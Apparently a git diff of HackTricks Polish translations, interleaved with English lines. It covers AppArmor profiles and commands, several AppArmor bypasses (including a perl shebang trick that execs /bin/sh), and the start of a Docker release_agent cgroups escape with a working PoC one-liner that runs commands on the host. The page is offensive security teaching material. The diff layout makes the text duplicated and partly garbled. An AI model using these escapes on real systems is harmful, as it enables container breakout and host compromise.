Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wesprzyj HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
## Basic Information
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
AppArmor to **ulepszony kernel zaprojektowany w celu ograniczenia zasobów dostępnych dla programów poprzez profile dla każdego programu**, skutecznie wdrażając Mandatory Access Control (MAC) poprzez powiązanie atrybutów kontroli dostępu bezpośrednio z programami zamiast użytkowników. System ten działa poprzez **ładowanie profili do jądra**, zazwyczaj podczas uruchamiania, a te profile określają, jakie zasoby program może uzyskać, takie jak połączenia sieciowe, dostęp do surowych gniazd i uprawnienia do plików.
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **dark-web** napędzona wyszukiwarka, która oferuje **darmowe** funkcje do sprawdzania, czy firma lub jej klienci zostali **skompromitowani** przez **złośliwe oprogramowanie kradnące dane**.
|
||||
Są dwa tryby operacyjne dla profili AppArmor:
|
||||
|
||||
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
* **Tryb egzekwowania**: Ten tryb aktywnie egzekwuje zasady zdefiniowane w profilu, blokując działania, które naruszają te zasady i rejestrując wszelkie próby ich naruszenia za pomocą systemów takich jak syslog lub auditd.
|
||||
* **Tryb skarg**: W przeciwieństwie do trybu egzekwowania, tryb skarg nie blokuje działań, które są sprzeczne z zasadami profilu. Zamiast tego rejestruje te próby jako naruszenia zasad bez egzekwowania ograniczeń.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** na:
|
||||
### Components of AppArmor
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
AppArmor to **usprawnienie jądra zaprojektowane do ograniczania zasobów dostępnych dla programów poprzez profile dla poszczególnych programów**, efektywnie wprowadzające Kontrolę Dostępu Ograniczonego (MAC), wiążąc atrybuty kontroli dostępu bezpośrednio z programami, a nie z użytkownikami. Ten system działa poprzez **ładowanie profili do jądra**, zazwyczaj podczas uruchamiania, a te profile określają, do jakich zasobów program może uzyskać dostęp, takich jak połączenia sieciowe, dostęp do gniazd surowych i uprawnienia do plików.
|
||||
|
||||
Istnieją dwa tryby operacyjne profili AppArmor:
|
||||
|
||||
* **Tryb Egzekwowania**: Ten tryb aktywnie egzekwuje zasady zdefiniowane w profilu, blokując działania, które naruszają te zasady, i rejestrując wszelkie próby ich naruszenia za pośrednictwem systemów takich jak syslog lub auditd.
|
||||
* **Tryb Skargi**: W odróżnieniu od trybu egzekwowania, tryb skargi nie blokuje działań sprzecznych z zasadami profilu. Zamiast tego rejestruje te próby jako naruszenia zasad bez egzekwowania ograniczeń.
|
||||
|
||||
### Składniki AppArmor
|
||||
|
||||
* **Moduł Jądra**: Odpowiedzialny za egzekwowanie zasad.
|
||||
* **Zasady**: Określają zasady i ograniczenia zachowania programu oraz dostępu do zasobów.
|
||||
* **Moduł jądra**: Odpowiedzialny za egzekwowanie zasad.
|
||||
* **Zasady**: Określają zasady i ograniczenia dotyczące zachowania programów i dostępu do zasobów.
|
||||
* **Parser**: Ładuje zasady do jądra w celu egzekwowania lub raportowania.
|
||||
* **Narzędzia**: Są to programy w trybie użytkownika, które zapewniają interfejs do interakcji z AppArmor i zarządzania nim.
|
||||
* **Narzędzia**: To programy w trybie użytkownika, które zapewniają interfejs do interakcji i zarządzania AppArmor.
|
||||
|
||||
### Ścieżka profili
|
||||
### Profiles path
|
||||
|
||||
Profile AppArmor zazwyczaj są zapisywane w _**/etc/apparmor.d/**_\
|
||||
Za pomocą `sudo aa-status` będziesz mógł wyświetlić listę binarnych plików, które są ograniczone przez jakiś profil. Jeśli zmienisz znak "/" na kropkę w ścieżce każdego wymienionego binarnego pliku, otrzymasz nazwę profilu apparmor wewnątrz wspomnianego folderu.
|
||||
Profile AppArmor są zazwyczaj zapisywane w _**/etc/apparmor.d/**_\
|
||||
Za pomocą `sudo aa-status` będziesz mógł wylistować binaria, które są ograniczone przez jakiś profil. Jeśli zmienisz znak "/" na kropkę w ścieżce każdego wymienionego binarnego, uzyskasz nazwę profilu AppArmor w wymienionym folderze.
|
||||
|
||||
Na przykład profil **apparmor** dla _/usr/bin/man_ będzie znajdował się w _/etc/apparmor.d/usr.bin.man_
|
||||
Na przykład, profil **apparmor** dla _/usr/bin/man_ będzie znajdował się w _/etc/apparmor.d/usr.bin.man_
|
||||
|
||||
### Komendy
|
||||
### Commands
|
||||
```bash
|
||||
aa-status #check the current status
|
||||
aa-enforce #set profile to enforce mode (from disable or complain)
|
||||
|
@ -64,40 +50,40 @@ aa-mergeprof #used to merge the policies
|
|||
```
|
||||
## Tworzenie profilu
|
||||
|
||||
* Aby wskazać dotknięty plik wykonywalny, dozwolone są **ścieżki bezwzględne i symbole wieloznaczne** (do tworzenia plików globbingowych) do określania plików.
|
||||
* Aby wskazać dostęp, jaki będzie miała binarka do **plików**, można użyć następujących **kontroli dostępu**:
|
||||
* Aby wskazać dotknięty plik wykonywalny, **dozwolone są ścieżki bezwzględne i znaki wieloznaczne** do określania plików.
|
||||
* Aby wskazać dostęp, jaki binarny plik będzie miał do **plików**, można użyć następujących **kontroli dostępu**:
|
||||
* **r** (odczyt)
|
||||
* **w** (zapis)
|
||||
* **m** (mapowanie pamięci jako wykonywalne)
|
||||
* **k** (blokowanie pliku)
|
||||
* **l** (tworzenie twardych łączy)
|
||||
* **k** (blokowanie plików)
|
||||
* **l** (tworzenie twardych linków)
|
||||
* **ix** (wykonanie innego programu z nowym programem dziedziczącym politykę)
|
||||
* **Px** (wykonanie pod innym profilem po wyczyszczeniu środowiska)
|
||||
* **Cx** (wykonanie pod profilem potomnym po wyczyszczeniu środowiska)
|
||||
* **Ux** (wykonanie bez ograniczeń po wyczyszczeniu środowiska)
|
||||
* **Zmienne** mogą być zdefiniowane w profilach i mogą być manipulowane spoza profilu. Na przykład: @{PROC} i @{HOME} (dodaj #include \<tunables/global> do pliku profilu)
|
||||
* **Zasady odmowy są obsługiwane do zastępowania zasad zezwalania**.
|
||||
* **Px** (wykonanie pod innym profilem, po oczyszczeniu środowiska)
|
||||
* **Cx** (wykonanie pod profilem potomnym, po oczyszczeniu środowiska)
|
||||
* **Ux** (wykonanie bez ograniczeń, po oczyszczeniu środowiska)
|
||||
* **Zmienne** mogą być definiowane w profilach i mogą być manipulowane z zewnątrz profilu. Na przykład: @{PROC} i @{HOME} (dodaj #include \<tunables/global> do pliku profilu)
|
||||
* **Reguły odmowy są obsługiwane, aby nadpisać reguły zezwolenia**.
|
||||
|
||||
### aa-genprof
|
||||
|
||||
Aby łatwo rozpocząć tworzenie profilu, apparmor może ci pomóc. Możliwe jest **spowodowanie, że apparmor przeanalizuje działania wykonywane przez binarkę, a następnie pozwoli ci zdecydować, które działania chcesz zezwolić lub zabronić**.\
|
||||
Wystarczy uruchomić:
|
||||
Aby łatwo rozpocząć tworzenie profilu, apparmor może Ci pomóc. Możliwe jest, aby **apparmor sprawdzał działania wykonywane przez plik binarny, a następnie pozwolił Ci zdecydować, które działania chcesz zezwolić lub odmówić**.\
|
||||
Musisz tylko uruchomić:
|
||||
```bash
|
||||
sudo aa-genprof /path/to/binary
|
||||
```
|
||||
Następnie w innej konsoli wykonaj wszystkie czynności, które zwykle wykonuje plik binarny:
|
||||
Następnie, w innej konsoli wykonaj wszystkie działania, które zazwyczaj wykonuje binarny plik:
|
||||
```bash
|
||||
/path/to/binary -a dosomething
|
||||
```
|
||||
Następnie w pierwszej konsoli naciśnij "**s**", a następnie w zarejestrowanych działaniach wskaż, czy chcesz zignorować, zezwolić, czy cokolwiek innego. Gdy skończysz, naciśnij "**f**", a nowy profil zostanie utworzony w _/etc/apparmor.d/path.to.binary_
|
||||
Następnie, w pierwszej konsoli naciśnij "**s**", a następnie w zarejestrowanych akcjach wskaż, czy chcesz zignorować, zezwolić, czy cokolwiek innego. Gdy skończysz, naciśnij "**f**", a nowy profil zostanie utworzony w _/etc/apparmor.d/path.to.binary_
|
||||
|
||||
{% hint style="info" %}
|
||||
Korzystając z klawiszy strzałek, możesz wybrać, co chcesz zezwolić/odmówić/cokolwiek innego
|
||||
Używając klawiszy strzałek, możesz wybrać, co chcesz zezwolić/odmówić/cokolwiek innego
|
||||
{% endhint %}
|
||||
|
||||
### aa-easyprof
|
||||
|
||||
Możesz również utworzyć szablon profilu apparmor dla binarnego pliku za pomocą:
|
||||
Możesz również stworzyć szablon profilu apparmor dla binarnego pliku za pomocą:
|
||||
```bash
|
||||
sudo aa-easyprof /path/to/binary
|
||||
# vim:syntax=apparmor
|
||||
|
@ -123,21 +109,21 @@ sudo aa-easyprof /path/to/binary
|
|||
}
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Zauważ, że domyślnie w utworzonym profilu nic nie jest dozwolone, więc wszystko jest odrzucane. Będziesz musiał dodać linie takie jak `/etc/passwd r,` aby pozwolić na odczyt binarny `/etc/passwd` na przykład.
|
||||
Zauważ, że domyślnie w utworzonym profilu nic nie jest dozwolone, więc wszystko jest zabronione. Będziesz musiał dodać linie takie jak `/etc/passwd r,` aby zezwolić na odczyt binarnego pliku `/etc/passwd`, na przykład.
|
||||
{% endhint %}
|
||||
|
||||
Następnie możesz **narzucić** nowy profil za pomocą
|
||||
Możesz następnie **wymusić** nowy profil za pomocą
|
||||
```bash
|
||||
sudo apparmor_parser -a /etc/apparmor.d/path.to.binary
|
||||
```
|
||||
### Modyfikowanie profilu z logów
|
||||
### Modyfikowanie profilu na podstawie logów
|
||||
|
||||
Następujące narzędzie odczyta logi i zapyta użytkownika, czy chce zezwolić na niektóre z wykrytych zabronionych akcji:
|
||||
Narzędzie to odczyta logi i zapyta użytkownika, czy chce zezwolić na niektóre z wykrytych zabronionych działań:
|
||||
```bash
|
||||
sudo aa-logprof
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Za pomocą klawiszy strzałek możesz wybrać, co chcesz zezwolić/zakazać/cokolwiek innego
|
||||
Używając klawiszy strzałek, możesz wybrać, co chcesz zezwolić/odmówić/cokolwiek
|
||||
{% endhint %}
|
||||
|
||||
### Zarządzanie profilem
|
||||
|
@ -148,14 +134,14 @@ apparmor_parser -C /etc/apparmor.d/profile.name #Load a new profile in complain
|
|||
apparmor_parser -r /etc/apparmor.d/profile.name #Replace existing profile
|
||||
apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile
|
||||
```
|
||||
## Dzienniki
|
||||
## Logs
|
||||
|
||||
Przykład **AUDIT** i **DENIED** logów z _/var/log/audit/audit.log_ dla wykonywalnego pliku **`service_bin`**:
|
||||
Przykład logów **AUDIT** i **DENIED** z _/var/log/audit/audit.log_ wykonywalnego **`service_bin`**:
|
||||
```bash
|
||||
type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000
|
||||
type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0
|
||||
```
|
||||
Możesz również uzyskać tę informację, korzystając z:
|
||||
Możesz również uzyskać te informacje za pomocą:
|
||||
```bash
|
||||
sudo aa-notify -s 1 -v
|
||||
Profile: /bin/service_bin
|
||||
|
@ -175,7 +161,7 @@ For more information, please see: https://wiki.ubuntu.com/DebuggingApparmor
|
|||
```
|
||||
## Apparmor w Dockerze
|
||||
|
||||
Zauważ, że profil **docker-profile** dla Dockera jest domyślnie załadowany:
|
||||
Zauważ, jak profil **docker-profile** Dockera jest ładowany domyślnie:
|
||||
```bash
|
||||
sudo aa-status
|
||||
apparmor module is loaded.
|
||||
|
@ -191,57 +177,57 @@ apparmor module is loaded.
|
|||
/usr/lib/connman/scripts/dhclient-script
|
||||
docker-default
|
||||
```
|
||||
Domyślny profil **Apparmor docker-default** jest generowany z [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
|
||||
Domyślnie **profil docker-default Apparmor** jest generowany z [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
|
||||
|
||||
**Podsumowanie profilu docker-default**:
|
||||
|
||||
- **Dostęp** do całej **sieci**
|
||||
- **Nie zdefiniowano żadnych uprawnień** (Jednak niektóre uprawnienia zostaną uwzględnione poprzez dołączenie podstawowych reguł bazowych, tj. #include \<abstractions/base>)
|
||||
- **Zapisywanie** do dowolnego pliku **/proc** jest **nie dozwolone**
|
||||
- Inne **podkatalogi**/**pliki** z /**proc** i /**sys** mają **zabroniony** dostęp do odczytu/zapisu/blokady/linkowania/wykonania
|
||||
- **Montowanie** jest **nie dozwolone**
|
||||
- **Ptrace** może być uruchomiony tylko na procesie, który jest ograniczony przez **ten sam profil apparmor**
|
||||
* **Dostęp** do całej **sieci**
|
||||
* **Brak możliwości** jest zdefiniowany (Jednakże, niektóre możliwości będą pochodzić z podstawowych reguł bazowych t.j. #include \<abstractions/base>)
|
||||
* **Pisanie** do jakiegokolwiek pliku **/proc** jest **niedozwolone**
|
||||
* Inne **podkatalogi**/**pliki** w /**proc** i /**sys** mają **zabroniony** dostęp do odczytu/zapisu/blokady/linkowania/wykonywania
|
||||
* **Montowanie** jest **niedozwolone**
|
||||
* **Ptrace** może być uruchamiane tylko na procesie, który jest ograniczony przez **ten sam profil apparmor**
|
||||
|
||||
Po **uruchomieniu kontenera dockerowego** powinieneś zobaczyć poniższy wynik:
|
||||
Gdy **uruchomisz kontener docker**, powinieneś zobaczyć następujący wynik:
|
||||
```bash
|
||||
1 processes are in enforce mode.
|
||||
docker-default (825)
|
||||
```
|
||||
Zauważ, że **apparmor zablokuje nawet przyznane domyślnie uprawnienia do możliwości** kontenera. Na przykład będzie można **zablokować uprawnienie do zapisu wewnątrz /proc nawet jeśli uprawnienie SYS\_ADMIN jest przyznane**, ponieważ domyślny profil apparmor dla dockera blokuje ten dostęp:
|
||||
Zauważ, że **apparmor nawet zablokuje uprawnienia do możliwości** przyznane kontenerowi domyślnie. Na przykład, będzie w stanie **zablokować pozwolenie na zapis w /proc, nawet jeśli przyznana jest możliwość SYS\_ADMIN**, ponieważ domyślny profil apparmor dla dockera odmawia tego dostępu:
|
||||
```bash
|
||||
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash
|
||||
echo "" > /proc/stat
|
||||
sh: 1: cannot create /proc/stat: Permission denied
|
||||
```
|
||||
Musisz **wyłączyć apparmor**, aby ominąć jego ograniczenia:
|
||||
Musisz **wyłączyć apparmor**, aby obejść jego ograniczenia:
|
||||
```bash
|
||||
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash
|
||||
```
|
||||
Zauważ, że domyślnie **AppArmor** również **zabrania kontenerowi montowania** folderów od wewnątrz nawet z uprawnieniami SYS\_ADMIN.
|
||||
Zauważ, że domyślnie **AppArmor** również **zabrania kontenerowi montowania** folderów od wewnątrz, nawet z uprawnieniem SYS\_ADMIN.
|
||||
|
||||
Zauważ, że możesz **dodać/usunąć** **uprawnienia** do kontenera dockerowego (to nadal będzie ograniczone przez metody ochrony takie jak **AppArmor** i **Seccomp**):
|
||||
Zauważ, że możesz **dodać/usunąć** **uprawnienia** do kontenera docker (to będzie nadal ograniczone przez metody ochrony takie jak **AppArmor** i **Seccomp**):
|
||||
|
||||
* `--cap-add=SYS_ADMIN` dodaje uprawnienie `SYS_ADMIN`
|
||||
* `--cap-add=ALL` dodaje wszystkie uprawnienia
|
||||
* `--cap-drop=ALL --cap-add=SYS_PTRACE` usuwa wszystkie uprawnienia i dodaje tylko `SYS_PTRACE`
|
||||
* `--cap-add=SYS_ADMIN` nadaje uprawnienie `SYS_ADMIN`
|
||||
* `--cap-add=ALL` nadaje wszystkie uprawnienia
|
||||
* `--cap-drop=ALL --cap-add=SYS_PTRACE` usuwa wszystkie uprawnienia i nadaje tylko `SYS_PTRACE`
|
||||
|
||||
{% hint style="info" %}
|
||||
Zazwyczaj, gdy **zauważysz**, że masz **uprawnienie zwiększone** dostępne **wewnątrz** kontenera **dockerowego, ale** część **exploita nie działa**, może to być spowodowane tym, że **AppArmor docker** mu przeszkadza.
|
||||
Zazwyczaj, gdy **znajdziesz**, że masz **uprzywilejowane uprawnienie** dostępne **wewnątrz** kontenera **docker**, **ale** część **eksploatu nie działa**, będzie to spowodowane tym, że **apparmor docker będzie to uniemożliwiać**.
|
||||
{% endhint %}
|
||||
|
||||
### Przykład
|
||||
|
||||
(Przykład z [**tutaj**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/))
|
||||
|
||||
Aby zilustrować funkcjonalność AppArmor, utworzyłem nowy profil Dockerowy "mydocker" z dodaną następującą linią:
|
||||
Aby zilustrować funkcjonalność AppArmor, stworzyłem nowy profil Docker “mydocker” z dodaną następującą linią:
|
||||
```
|
||||
deny /etc/* w, # deny write for all files directly in /etc (not in a subdir)
|
||||
```
|
||||
Aby aktywować profil, musimy wykonać następujące czynności:
|
||||
Aby aktywować profil, musimy wykonać następujące kroki:
|
||||
```
|
||||
sudo apparmor_parser -r -W mydocker
|
||||
```
|
||||
Aby wyświetlić profile, możemy użyć następującej komendy. Poniższa komenda wyświetla mój nowy profil AppArmor.
|
||||
Aby wyświetlić profile, możemy użyć następującego polecenia. Poniższe polecenie wyświetla mój nowy profil AppArmor.
|
||||
```
|
||||
$ sudo apparmor_status | grep mydocker
|
||||
mydocker
|
||||
|
@ -251,25 +237,27 @@ Jak pokazano poniżej, otrzymujemy błąd podczas próby zmiany „/etc/”, pon
|
|||
$ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname
|
||||
chmod: /etc/hostname: Permission denied
|
||||
```
|
||||
### Bypass1 AppArmor Docker
|
||||
### AppArmor Docker Bypass1
|
||||
|
||||
Możesz sprawdzić, który **profil apparmor uruchamia kontener** za pomocą:
|
||||
Możesz znaleźć, który **profil apparmor działa w kontenerze** używając:
|
||||
```bash
|
||||
docker inspect 9d622d73a614 | grep lowpriv
|
||||
"AppArmorProfile": "lowpriv",
|
||||
"apparmor=lowpriv"
|
||||
```
|
||||
Następnie możesz uruchomić poniższą komendę, aby **znaleźć dokładny profil używany**:
|
||||
Następnie możesz uruchomić następującą linię, aby **znaleźć dokładny profil używany**:
|
||||
```bash
|
||||
find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null
|
||||
```
|
||||
W dziwnym przypadku możesz **zmodyfikować profil docker apparmor i go przeładować.** Możesz usunąć ograniczenia i "obejść" je.
|
||||
|
||||
### AppArmor Docker Bypass2
|
||||
|
||||
**AppArmor działa na podstawie ścieżek**, oznacza to, że nawet jeśli może **chronić** pliki wewnątrz katalogu takiego jak **`/proc`**, jeśli możesz **skonfigurować sposób uruchamiania kontenera**, możesz **zamontować** katalog proc hosta wewnątrz **`/host/proc`** i **nie będzie on już chroniony przez AppArmor**.
|
||||
**AppArmor jest oparty na ścieżkach**, co oznacza, że nawet jeśli może **chronić** pliki w katalogu takim jak **`/proc`**, jeśli możesz **skonfigurować, jak kontener ma być uruchomiony**, możesz **zamontować** katalog proc hosta wewnątrz **`/host/proc`** i **nie będzie już chroniony przez AppArmor**.
|
||||
|
||||
### AppArmor Shebang Bypass
|
||||
|
||||
W [**tym błędzie**](https://bugs.launchpad.net/apparmor/+bug/1911431) możesz zobaczyć przykład, jak **nawet jeśli uniemożliwiasz uruchomienie perla z pewnymi zasobami**, jeśli po prostu utworzysz skrypt powłoki **określając** w pierwszej linii **`#!/usr/bin/perl`** i **wykonasz plik bezpośrednio**, będziesz mógł wykonać cokolwiek chcesz. Na przykład:
|
||||
W [**tym błędzie**](https://bugs.launchpad.net/apparmor/+bug/1911431) możesz zobaczyć przykład, jak **nawet jeśli zapobiegasz uruchamianiu perla z określonymi zasobami**, jeśli po prostu stworzysz skrypt powłoki **określając** w pierwszej linii **`#!/usr/bin/perl`** i **wykonasz plik bezpośrednio**, będziesz mógł wykonać cokolwiek chcesz. Np.:
|
||||
```perl
|
||||
echo '#!/usr/bin/perl
|
||||
use POSIX qw(strftime);
|
||||
|
@ -279,29 +267,17 @@ exec "/bin/sh"' > /tmp/test.pl
|
|||
chmod +x /tmp/test.pl
|
||||
/tmp/test.pl
|
||||
```
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to wyszukiwarka zasilana przez **dark web**, która oferuje **darmowe** funkcje do sprawdzenia, czy firma lub jej klienci zostali **skompromitowani** przez **złośliwe oprogramowanie kradnące dane**.
|
||||
|
||||
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz odwiedzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Dowiedz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Dowiedz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wesprzyj HackTricks</summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Udostępnij sztuczki hakerskie, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,37 +1,24 @@
|
|||
# Ucieczka z cgroups Docker release\_agent
|
||||
# Docker release\_agent cgroups escape
|
||||
|
||||
{% hint style="success" %}
|
||||
Dowiedz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Dowiedz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wesprzyj HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Udostępniaj sztuczki hakerskie, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
**Aby uzyskać więcej szczegółów, zapoznaj się z** [**oryginalnym wpisem na blogu**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** To tylko podsumowanie:
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to wyszukiwarka zasilana przez **dark web**, która oferuje **darmowe** funkcje do sprawdzania, czy firma lub jej klienci zostali **skompromitowani** przez **złośliwe oprogramowanie kradnące dane**.
|
||||
|
||||
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz odwiedzić ich stronę internetową i wypróbować ich silnik za **darmo** na:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
**Aby uzyskać więcej szczegółów, zajrzyj do** [**oryginalnego posta na blogu**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** To tylko streszczenie:
|
||||
|
||||
Początkowy PoC:
|
||||
Original PoC:
|
||||
```shell
|
||||
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
|
||||
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
|
||||
|
@ -39,63 +26,51 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
|||
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
|
||||
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
|
||||
```
|
||||
Dowód koncepcji (PoC) demonstruje metodę wykorzystania cgroups poprzez utworzenie pliku `release_agent` i wywołanie go w celu wykonania dowolnych poleceń na hoście kontenera. Oto podział kroków zaangażowanych:
|
||||
Dowód koncepcji (PoC) demonstruje metodę wykorzystania cgroups poprzez utworzenie pliku `release_agent` i wywołanie go w celu wykonania dowolnych poleceń na hoście kontenera. Oto podział kroków zaangażowanych w ten proces:
|
||||
|
||||
1. **Przygotuj środowisko:**
|
||||
* Utwórz katalog `/tmp/cgrp` jako punkt montowania dla cgroup.
|
||||
